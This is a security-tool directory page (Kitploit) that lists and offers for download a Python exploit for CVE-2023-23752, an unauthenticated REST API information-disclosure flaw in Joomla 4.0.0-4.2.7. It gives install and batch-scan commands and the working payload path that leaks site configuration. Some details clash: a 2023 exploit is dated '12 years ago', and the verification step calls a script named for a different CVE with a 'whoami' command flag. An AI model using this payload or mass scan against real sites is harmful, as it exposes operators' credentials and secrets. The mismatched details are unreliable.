Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2023-23752 — Python-based exploit for CVE-2023-23752 targeting Joomla 4.0.0-4.2.7 unauthorized REST API access, enabling sensitive information disclosure through crafted payloads. | Kitploit
Tools/GitHubGitHub/ytxzx/cve-2023-23752
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubytxzx/cve-2023-23752

CVE-2023-23752

Python-based exploit for CVE-2023-23752 targeting Joomla 4.0.0-4.2.7 unauthorized REST API access, enabling sensitive information disclosure through crafted payloads.

View Repository
12 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2023-23752 - Recurrence of Joomla Unauthorized Access Vulnerability

Script Usage

Install python libraries

pip install -r requirements.txt

Vulnerability Verification

python3 CVE-2022-26134_check.py -u url -c whoami

image

Batch Scan

python3 CVE-2023-23752.py -f url_part.txt

image

Affected Versions

4.0.0 <= Joomla <= 4.2.7

Vulnerability Reproduction

payload:

/api/index.php/v1/config/application?public=true

Access the vulnerability URL, capture packets, replay the data packet

image

Vulnerability Principle

In Joomla! CMS versions 4.0.0-4.2.7, due to improper access restrictions on web service endpoints, unauthorized access to the Rest API may occur, leading to sensitive information leakage.

Download Tool